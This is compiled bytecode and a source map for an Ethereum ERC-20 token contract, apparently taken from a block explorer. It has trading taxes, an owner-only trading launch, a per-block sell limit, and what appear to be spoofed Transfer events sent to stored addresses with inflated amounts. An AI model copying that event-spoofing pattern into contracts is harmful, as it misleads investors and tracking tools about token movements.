01b0302191690836001600160a01b03160217905550565b60006102ee3384846108a5565b6000546001600160a01b0316331461063f5760405162461bcd60e51b81526004016103ac906115ae565b601054610100900460ff16156106975760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ac565b6011546001600160a01b031663f305d71947306106c9816001600160a01b031660009081526001602052604090205490565b6000806106de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610746573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076b9190611600565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166107e35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ac565b6001600160a01b0382166108445760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ac565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ac565b6001600160a01b03821661096b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ac565b600081116109cd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ac565b60006109da848484610a28565b90506109e884848484610c88565b50505050565b60008184841115610a125760405162461bcd60e51b81526004016103ac9190611356565b506000610a1f848661162e565b95945050505050565b600080610a3d6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a6c57506000546001600160a01b03858116911614155b15610c8057610a9d6064610a97600a54600d5411610a8c57600654610a90565b6008545b8690610e6d565b90610ef3565b6010549091506001600160a01b03868116630100000090920416148015610ad257506011546001600160a01b03858116911614155b8015610af757506001600160a01b03841660009081526003602052604090205460ff16155b15610b3c5743600e5414610b0f576000600f5543600e555b82600f6000828254610b219190611645565b9091555050600d8054906000610b368361165d565b91905055505b6010546001600160a01b03858116630100000090920416148015610b6957506001600160a01b0385163014155b15610bec57610b76610f35565b600f541080610b87575043600e5414155b610bc45760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103ac565b610be96064610a97600b54600d5411610bdf57600754610a90565b6009548690610e6d565b90505b3060009081526001602052604090205460105460ff16158015610c2357506010546001600160a01b03868116630100000090920416145b8015610c37575060105462010000900460ff165b8015610c465750600c54600d54115b15610c7e57600554811115610c7257610c72610c6d85610c68846005546110c3565b6110c3565b6110d8565b47610c7c47611249565b505b505b949350505050565b8015610d025730600090815260016020526040902054610ca89082611287565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cf99085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610d2590836112e6565b6001600160a01b038516600090815260016020526040902055610d6a610d4b83836112e6565b6001600160a01b03851660009081526001602052604090205490611287565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610db485856112e6565b60405190815260200160405180910390a36000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec54610e239085906001600160a01b0316610373610e0e6009600a611580565b610e1c90633b9aca0061158f565b8690611287565b600160005260046020527fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe05546109e89085906001600160a01b0316610373610e0e6009600a611580565b600082610e7c575060006102f2565b6000610e88838561158f565b905082610e958583611678565b14610eec5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ac565b9392505050565b6000610eec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611328565b604080516002808252606082018352600092839291906020830190803683375050601154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc791906115e3565b81600081518110610fda57610fda6116b0565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061100e5761100e6116b0565b6001600160a01b03928316602091820292909201015260115460405163d06ca61f60e01b8152600092919091169063d06ca61f9061105a906729a2241af62c000090869060040161170a565b600060405180830381865afa158015611077573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261109f9190810190611723565b9050806001815181106110b4576110b46116b0565b60200260200101519250505090565b60008183116110d25782610eec565b50919050565b6010805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111a5761111a6116b0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119791906115e3565b816001815181106111aa576111aa6116b0565b6001600160a01b0392831660209182029290920101526011546111d09130911684610781565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112099085906000908690309042906004016117e1565b600060405180830381600087803b15801561122357600080fd5b505af1158015611237573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611283573d6000803e3d6000fd5b5050565b6000806112948385611645565b905083811015610eec5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ac565b6000610eec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109ee565b600081836113495760405162461bcd60e51b81526004016103ac9190611356565b506000610a1f8486611678565b600060208083528351808285015260005b8181101561138357858101830151858201604001528201611367565b81811115611395576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146113c057600080fd5b50565b600080604083850312156113d657600080fd5b82356113e1816113ab565b946020939093013593505050565b60008060006060848603121561140457600080fd5b833561140f816113ab565b9250602084013561141f816113ab565b929592945050506040919091013590565b60006020828403121561144257600080fd5b8135610eec816113ab565b6000806040838503121561146057600080fd5b823561146b816113ab565b9150602083013561147b816113ab565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114d75781600019048211156114bd576114bd611486565b808516156114ca57918102915b93841c93908002906114a1565b509250929050565b6000826114ee575060016102f2565b816114fb575060006102f2565b8160018114611511576002811461151b57611537565b60019150506102f2565b60ff84111561152c5761152c611486565b50506001821b6102f2565b5060208310610133831016604e8410600b841016171561155a575081810a6102f2565b611564838361149c565b806000190482111561157857611578611486565b029392505050565b6000610eec60ff8416836114df565b60008160001904831182151516156115a9576115a9611486565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156115f557600080fd5b8151610eec816113ab565b60008060006060848603121561161557600080fd5b8351925060208401519150604084015190509250925092565b60008282101561164057611640611486565b500390565b6000821982111561165857611658611486565b500190565b600060001982141561167157611671611486565b5060010190565b60008261169557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156116ff5781516001600160a01b0316875295820195908201906001016116da565b509495945050505050565b828152604060208201526000610c8060408301846116c6565b6000602080838503121561173657600080fd5b825167ffffffffffffffff8082111561174e57600080fd5b818501915085601f83011261176257600080fd5b8151818111156117745761177461169a565b8060051b604051601f19603f830116810181811085821117156117995761179961169a565b6040529182528482019250838101850191888311156117b757600080fd5b938501935b828510156117d5578451845293850193928501926117bc565b98975050505050505050565b85815284602082015260a06040820152600061180060a08301866116c6565b6001600160a01b039490941660608301525060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ac5d4cb7b14b645ce905b6d47b22906c41df3486e285695b9340bfa7a25544364736f6c634300080b0033
Deployed Bytecode Sourcemap
3777:7680:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6736:83;;;;;;;;;;-1:-1:-1;6806:5:0;;;;;;;;;;;;-1:-1:-1;;;6806:5:0;;;;6736:83;;;;;;;:::i;:::-;;;;;;;;7573:161;;;;;;;;;;-1:-1:-1;7573:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7573:161:0;1072:187:1;7013:99:0;;;;;;;;;;;;;:::i;:::-;;;1410:25:1;;;1398:2;1383:18;7013:99:0;1264:177:1;7742:314:0;;;;;;;;;;-1:-1:-1;7742:314:0;;;;;:::i;:::-;;:::i;6922:83::-;;;;;;;;;;-1:-1:-1;6922:83:0;;4138:1;2049:36:1;;2037:2;2022:18;6922:83:0;1907:184:1;7120:119:0;;;;;;;;;;-1:-1:-1;7120:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7213:18:0;7186:7;7213:18;;;:9;:18;;;;;;;7120:119;3620:148;;;;;;;;;;;;;:::i;:::-;;3406:79;;;;;;;;;;-1:-1:-1;3444:7:0;3471:6;3406:79;;-1:-1:-1;;;;;3471:6:0;;;2494:51:1;;2482:2;2467:18;3406:79:0;2348:203:1;5576:304:0;;;;;;;;;;;;;:::i;6827:87::-;;;;;;;;;;-1:-1:-1;6899:7:0;;;;;;;;;;;;-1:-1:-1;;;6899:7:0;;;;6827:87;;7247:167;;;;;;;;;;-1:-1:-1;7247:167:0;;;;;:::i;:::-;;:::i;6419:309::-;;;;;;;;;;;;;:::i;7422:143::-;;;;;;;;;;-1:-1:-1;7422:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7530:18:0;;;7503:7;7530:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7422:143;7573:161;7648:4;7665:39;353:10;7688:7;7697:6;7665:8;:39::i;:::-;-1:-1:-1;7722:4:0;7573:161;;;;;:::o;7013:99::-;7066:7;4198:13;4138:1;4198:2;:13;:::i;:::-;4185:26;;:10;:26;:::i;:::-;7086:18;;7013:99;:::o;7742:314::-;7840:4;7857:36;7867:6;7875:9;7886:6;7857:9;:36::i;:::-;7905:121;7914:6;353:10;7936:89;7974:6;7936:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7936:19:0;;;;;;:11;:19;;;;;;;;353:10;7936:33;;;;;;;;;;:37;:89::i;:::-;7905:8;:121::i;:::-;-1:-1:-1;8044:4:0;7742:314;;;;;:::o;3620:148::-;3533:6;;-1:-1:-1;;;;;3533:6:0;353:10;3533:22;3525:67;;;;-1:-1:-1;;;3525:67:0;;;;;;;:::i;:::-;;;;;;;;;3727:1:::1;3711:6:::0;;3690:40:::1;::::0;-1:-1:-1;;;;;3711:6:0;;::::1;::::0;3690:40:::1;::::0;3727:1;;3690:40:::1;3758:1;3741:19:::0;;-1:-1:-1;;;;;;3741:19:0::1;::::0;;3620:148::o;5576:304::-;3533:6;;-1:-1:-1;;;;;3533:6:0;353:10;3533:22;3525:67;;;;-1:-1:-1;;;3525:67:0;;;;;;;:::i;:::-;5630:11:::1;:69:::0;;-1:-1:-1;;;;;;5630:69:0::1;5656:42;5630:69:::0;;::::1;::::0;;;5710:58:::1;::::0;5727:4:::1;::::0;4198:13:::1;4138:1;4198:2;:13;:::i;:::-;4185:26;::::0;:10:::1;:26;:::i;5710:58::-;5804:11;;;;;;;;;-1:-1:-1::0;;;;;5804:11:0::1;-1:-1:-1::0;;;;;5804:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5791:46:0::1;;5846:4;5853:11;;;;;;;;;-1:-1:-1::0;;;;;5853:11:0::1;-1:-1:-1::0;;;;;5853:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5791:81;::::0;-1:-1:-1;;;;;;5791:81:0::1;::::0;;;;;;-1:-1:-1;;;;;5484:15:1;;;5791:81:0::1;::::0;::::1;5466:34:1::0;5536:15;;5516:18;;;5509:43;5401:18;;5791:81:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5779:9;;:93;;;;;-1:-1:-1::0;;;;;5779:93:0::1;;;;;-1:-1:-1::0;;;;;5779:93:0::1;;;;;;5576:304::o:0;7247:167::-;7325:4;7342:42;353:10;7366:9;7377:6;7342:9;:42::i;6419:309::-;3533:6;;-1:-1:-1;;;;;3533:6:0;353:10;3533:22;3525:67;;;;-1:-1:-1;;;3525:67:0;;;;;;;:::i;:::-;6483:13:::1;::::0;::::1;::::0;::::1;;;6482:14;6474:49;;;::::0;-1:-1:-1;;;6474:49:0;;5765:2:1;6474:49:0::1;::::0;::::1;5747:21:1::0;5804:2;5784:18;;;5777:30;5843:25;5823:18;;;5816:53;5886:18;;6474:49:0::1;5563:347:1::0;6474:49:0::1;6534:11;::::0;-1:-1:-1;;;;;6534:11:0::1;:27;6569:21;6600:4;6606:24;6600:4:::0;-1:-1:-1;;;;;7213:18:0;7186:7;7213:18;;;:9;:18;;;;;;;7120:119;6606:24:::1;6631:1;6633::::0;6635:7:::1;3444::::0;3471:6;-1:-1:-1;;;;;3471:6:0;;3406:79;6635:7:::1;6534:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6534:125:0;;;-1:-1:-1;;;;;6274:15:1;;;6534:125:0::1;::::0;::::1;6256:34:1::0;6306:18;;;6299:34;;;;6349:18;;;6342:34;;;;6392:18;;;6385:34;6456:15;;;6435:19;;;6428:44;6643:15:0::1;6488:19:1::0;;;6481:35;6190:19;;6534:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6670:12:0::1;:19:::0;;-1:-1:-1;;6700:20:0;;;;;-1:-1:-1;6419:309:0:o;8064:335::-;-1:-1:-1;;;;;8157:19:0;;8149:68;;;;-1:-1:-1;;;8149:68:0;;7040:2:1;8149:68:0;;;7022:21:1;7079:2;7059:18;;;7052:30;7118:34;7098:18;;;7091:62;-1:-1:-1;;;7169:18:1;;;7162:34;7213:19;;8149:68:0;6838:400:1;8149:68:0;-1:-1:-1;;;;;8236:21:0;;8228:68;;;;-1:-1:-1;;;8228:68:0;;7445:2:1;8228:68:0;;;7427:21:1;7484:2;7464:18;;;7457:30;7523:34;7503:18;;;7496:62;-1:-1:-1;;;7574:18:1;;;7567:32;7616:19;;8228:68:0;7243:398:1;8228:68:0;-1:-1:-1;;;;;8307:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8359:32;;1410:25:1;;;8359:32:0;;1383:18:1;8359:32:0;;;;;;;8064:335;;;:::o;9867:432::-;-1:-1:-1;;;;;9958:19:0;;9950:69;;;;-1:-1:-1;;;9950:69:0;;7848:2:1;9950:69:0;;;7830:21:1;7887:2;7867:18;;;7860:30;7926:34;7906:18;;;7899:62;-1:-1:-1;;;7977:18:1;;;7970:35;8022:19;;9950:69:0;7646:401:1;9950:69:0;-1:-1:-1;;;;;10038:19:0;;10030:67;;;;-1:-1:-1;;;10030:67:0;;8254:2:1;10030:67:0;;;8236:21:1;8293:2;8273:18;;;8266:30;8332:34;8312:18;;;8305:62;-1:-1:-1;;;8383:18:1;;;8376:33;8426:19;;10030:67:0;8052:399:1;10030:67:0;10124:1;10116:5;:9;10108:63;;;;-1:-1:-1;;;10108:63:0;;8658:2:1;10108:63:0;;;8640:21:1;8697:2;8677:18;;;8670:30;8736:34;8716:18;;;8709:62;-1:-1:-1;;;8787:18:1;;;8780:39;8836:19;;10108:63:0;8456:405:1;10108:63:0;10182:15;10200:37;10217:5;10224;10231;10200:16;:37::i;:::-;10182:55;;10248:43;10262:5;10269;10276;10283:7;10248:13;:43::i;:::-;9939:360;9867:432;;;:::o;1531:190::-;1617:7;1653:12;1645:6;;;;1637:29;;;;-1:-1:-1;;;1637:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1677:9:0;1689:5;1693:1;1689;:5;:::i;:::-;1677:17;1531:190;-1:-1:-1;;;;;1531:190:0:o;8407:1452::-;8494:7;8514:15;8554:7;3444;3471:6;-1:-1:-1;;;;;3471:6:0;;3406:79;8554:7;-1:-1:-1;;;;;8545:16:0;:5;-1:-1:-1;;;;;8545:16:0;;;:36;;;;-1:-1:-1;3444:7:0;3471:6;-1:-1:-1;;;;;8565:16:0;;;3471:6;;8565:16;;8545:36;8541:1295;;;8608:75;8679:3;8608:66;8629:15;;8619:9;;:25;8618:55;;8659:14;;8618:55;;;8646:12;;8618:55;8608:5;;:9;:66::i;:::-;:70;;:75::i;:::-;8713:9;;8598:85;;-1:-1:-1;;;;;;8704:18:0;;;8713:9;;;;;8704:18;:51;;;;-1:-1:-1;8743:11:0;;-1:-1:-1;;;;;8726:29:0;;;8743:11;;8726:29;;8704:51;:81;;;;-1:-1:-1;;;;;;8761:24:0;;;;;;:17;:24;;;;;;;;8759:26;8704:81;8700:338;;;8824:12;8809:13;;:27;8806:144;;8878:1;8860:15;:19;8918:12;8902:13;:28;8806:144;8987:5;8968:15;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;9011:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;8700:338;9066:9;;-1:-1:-1;;;;;9057:18:0;;;9066:9;;;;;9057:18;:43;;;;-1:-1:-1;;;;;;9079:21:0;;9095:4;9079:21;;9057:43;9054:283;;;9147:15;:13;:15::i;:::-;9129;;:33;:64;;;;9181:12;9166:13;;:27;;9129:64;9121:91;;;;-1:-1:-1;;;9121:91:0;;9471:2:1;9121:91:0;;;9453:21:1;9510:2;9490:18;;;9483:30;-1:-1:-1;;;9529:18:1;;;9522:44;9583:18;;9121:91:0;9269:338:1;9121:91:0;9243:78;9317:3;9243:69;9264:16;;9254:9;;:26;9253:58;;9296:15;;9253:58;;;9282:13;;9243:5;;:9;:69::i;:78::-;9233:88;;9054:283;9391:4;9353:17;7213:18;;;:9;:18;;;;;;9417:10;;;;9416:11;:33;;;;-1:-1:-1;9440:9:0;;-1:-1:-1;;;;;9431:18:0;;;9440:9;;;;;9431:18;9416:33;:49;;;;-1:-1:-1;9453:12:0;;;;;;;9416:49;:83;;;;;9481:18;;9469:9;;:30;9416:83;9412:413;;;9535:15;;9523:9;:27;9520:118;;;9569:69;9586:51;9594:5;9601:35;9609:9;9620:15;;9601:7;:35::i;:::-;9586:7;:51::i;:::-;9569:16;:69::i;:::-;9675:21;9756:34;9768:21;9756:11;:34::i;:::-;9501:324;9412:413;8583:1253;8541:1295;9844:7;8407:1452;-1:-1:-1;;;;8407:1452:0:o;10307:630::-;10415:11;;10412:161;;10485:4;10467:24;;;;:9;:24;;;;;;:37;;10496:7;10467:28;:37::i;:::-;10458:4;10440:24;;;;:9;:24;;;;;;;:64;;;;10522:39;;-1:-1:-1;;;;;10522:39:0;;;;;;;10553:7;1410:25:1;;1398:2;1383:18;;1264:177;10522:39:0;;;;;;;;10412:161;-1:-1:-1;;;;;10602:16:0;;;;;;:9;:16;;;;;;:27;;10623:5;10602:20;:27::i;:::-;-1:-1:-1;;;;;10583:16:0;;;;;;:9;:16;;;;;:46;10659:40;10680:18;:5;10690:7;10680:9;:18::i;:::-;-1:-1:-1;;;;;10659:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;10640:16:0;;;;;;;:9;:16;;;;;:59;;;;10715:42;;;10738:18;:5;10748:7;10738:9;:18::i;:::-;10715:42;;1410:25:1;;;1398:2;1383:18;10715:42:0;;;;;;;10801:16;;;:13;:16;;;;10768:75;;10785:5;;-1:-1:-1;;;;;10801:16:0;10820:22;4198:13;4138:1;4198:2;:13;:::i;:::-;4185:26;;:10;:26;:::i;:::-;10820:5;;:9;:22::i;10768:75::-;10901:1;10887:16;;:13;:16;;;;10854:75;;10871:5;;-1:-1:-1;;;;;10887:16:0;10906:22;4198:13;4138:1;4198:2;:13;:::i;1729:246::-;1787:7;1811:6;1807:47;;-1:-1:-1;1841:1:0;1834:8;;1807:47;1864:9;1876:5;1880:1;1876;:5;:::i;:::-;1864:17;-1:-1:-1;1909:1:0;1900:5;1904:1;1864:17;1900:5;:::i;:::-;:10;1892:56;;;;-1:-1:-1;;;1892:56:0;;10036:2:1;1892:56:0;;;10018:21:1;10075:2;10055:18;;;10048:30;10114:34;10094:18;;;10087:62;-1:-1:-1;;;10165:18:1;;;10158:31;10206:19;;1892:56:0;9834:397:1;1892:56:0;1966:1;1729:246;-1:-1:-1;;;1729:246:0:o;1983:132::-;2041:7;2068:39;2072:1;2075;2068:39;;;;;;;;;;;;;;;;;:3;:39::i;6108:299::-;6200:16;;;6214:1;6200:16;;;;;;;;6156:7;;;;6200:16;6214:1;6200:16;;;;;;;;-1:-1:-1;;6237:11:0;;:18;;;-1:-1:-1;;;6237:18:0;;;;6176:40;;-1:-1:-1;;;;;;6237:11:0;;;;:16;;-1:-1:-1;6237:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6227:4;6232:1;6227:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;6227:28:0;;;-1:-1:-1;;;;;6227:28:0;;;;;6284:4;6266;6271:1;6266:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6266:23:0;;;:7;;;;;;;;;:23;6327:11;;:41;;-1:-1:-1;;;6327:41:0;;6300:24;;6327:11;;;;;:25;;:41;;6353:8;;6363:4;;6327:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;6327:41:0;;;;;;;;;;;;:::i;:::-;6300:68;;6386:10;6397:1;6386:13;;;;;;;;:::i;:::-;;;;;;;6379:20;;;;6108:299;:::o;5888:105::-;5949:7;5979:1;5977;:3;5976:9;;5984:1;5976:9;;;-1:-1:-1;5982:1:0;5888:105;-1:-1:-1;5888:105:0:o;10982:468::-;4938:10;:17;;-1:-1:-1;;4938:17:0;4951:4;4938:17;;;11083:16:::1;::::0;;11097:1:::1;11083:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11083:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11083:16:0::1;11059:40;;11128:4;11110;11115:1;11110:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11110:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11154:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;11154:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;11110:7;;11154:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11144:4;11149:1;11144:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11144:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;11215:11:::1;::::0;11183:57:::1;::::0;11200:4:::1;::::0;11215:11:::1;11229:10:::0;11183:8:::1;:57::i;:::-;11251:11;::::0;:191:::1;::::0;-1:-1:-1;;;11251:191:0;;-1:-1:-1;;;;;11251:11:0;;::::1;::::0;:62:::1;::::0;:191:::1;::::0;11328:10;;11251:11:::1;::::0;11369:4;;11396::::1;::::0;11416:15:::1;::::0;11251:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4978:10:0;:18;;-1:-1:-1;;4978:18:0;;;-1:-1:-1;;;;10982:468:0:o;6001:99::-;6064:11;;6056:36;;-1:-1:-1;;;;;6064:11:0;;;;6056:36;;;;;6086:5;;6064:11;6056:36;6064:11;6056:36;6086:5;6064:11;6056:36;;;;;;;;;;;;;;;;;;;;;6001:99;:::o;1200:179::-;1258:7;;1290:5;1294:1;1290;:5;:::i;:::-;1278:17;;1319:1;1314;:6;;1306:46;;;;-1:-1:-1;;;1306:46:0;;13228:2:1;1306:46:0;;;13210:21:1;13267:2;13247:18;;;13240:30;13306:29;13286:18;;;13279:57;13353:18;;1306:46:0;13026:351:1;1387:136:0;1445:7;1472:43;1476:1;1479;1472:43;;;;;;;;;;;;;;;;;:3;:43::i;2123:189::-;2209:7;2244:12;2237:5;2229:28;;;;-1:-1:-1;;;2229:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2268:9:0;2280:5;2284:1;2280;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:127::-;3010:10;3005:3;3001:20;2998:1;2991:31;3041:4;3038:1;3031:15;3065:4;3062:1;3055:15;3081:422;3170:1;3213:5;3170:1;3227:270;3248:7;3238:8;3235:21;3227:270;;;3307:4;3303:1;3299:6;3295:17;3289:4;3286:27;3283:53;;;3316:18;;:::i;:::-;3366:7;3356:8;3352:22;3349:55;;;3386:16;;;;3349:55;3465:22;;;;3425:15;;;;3227:270;;;3231:3;3081:422;;;;;:::o;3508:806::-;3557:5;3587:8;3577:80;;-1:-1:-1;3628:1:1;3642:5;;3577:80;3676:4;3666:76;;-1:-1:-1;3713:1:1;3727:5;;3666:76;3758:4;3776:1;3771:59;;;;3844:1;3839:130;;;;3751:218;;3771:59;3801:1;3792:10;;3815:5;;;3839:130;3876:3;3866:8;3863:17;3860:43;;;3883:18;;:::i;:::-;-1:-1:-1;;3939:1:1;3925:16;;3954:5;;3751:218;;4053:2;4043:8;4040:16;4034:3;4028:4;4025:13;4021:36;4015:2;4005:8;4002:16;3997:2;3991:4;3988:12;3984:35;3981:77;3978:159;;;-1:-1:-1;4090:19:1;;;4122:5;;3978:159;4169:34;4194:8;4188:4;4169:34;:::i;:::-;4239:6;4235:1;4231:6;4227:19;4218:7;4215:32;4212:58;;;4250:18;;:::i;:::-;4288:20;;3508:806;-1:-1:-1;;;3508:806:1:o;4319:140::-;4377:5;4406:47;4447:4;4437:8;4433:19;4427:4;4406:47;:::i;4464:168::-;4504:7;4570:1;4566;4562:6;4558:14;4555:1;4552:21;4547:1;4540:9;4533:17;4529:45;4526:71;;;4577:18;;:::i;:::-;-1:-1:-1;4617:9:1;;4464:168::o;4637:356::-;4839:2;4821:21;;;4858:18;;;4851:30;4917:34;4912:2;4897:18;;4890:62;4984:2;4969:18;;4637:356::o;4998:251::-;5068:6;5121:2;5109:9;5100:7;5096:23;5092:32;5089:52;;;5137:1;5134;5127:12;5089:52;5169:9;5163:16;5188:31;5213:5;5188:31;:::i;6527:306::-;6615:6;6623;6631;6684:2;6672:9;6663:7;6659:23;6655:32;6652:52;;;6700:1;6697;6690:12;6652:52;6729:9;6723:16;6713:26;;6779:2;6768:9;6764:18;6758:25;6748:35;;6823:2;6812:9;6808:18;6802:25;6792:35;;6527:306;;;;;:::o;8866:125::-;8906:4;8934:1;8931;8928:8;8925:34;;;8939:18;;:::i;:::-;-1:-1:-1;8976:9:1;;8866:125::o;8996:128::-;9036:3;9067:1;9063:6;9060:1;9057:13;9054:39;;;9073:18;;:::i;:::-;-1:-1:-1;9109:9:1;;8996:128::o;9129:135::-;9168:3;-1:-1:-1;;9189:17:1;;9186:43;;;9209:18;;:::i;:::-;-1:-1:-1;9256:1:1;9245:13;;9129:135::o;9612:217::-;9652:1;9678;9668:132;;9722:10;9717:3;9713:20;9710:1;9703:31;9757:4;9754:1;9747:15;9785:4;9782:1;9775:15;9668:132;-1:-1:-1;9814:9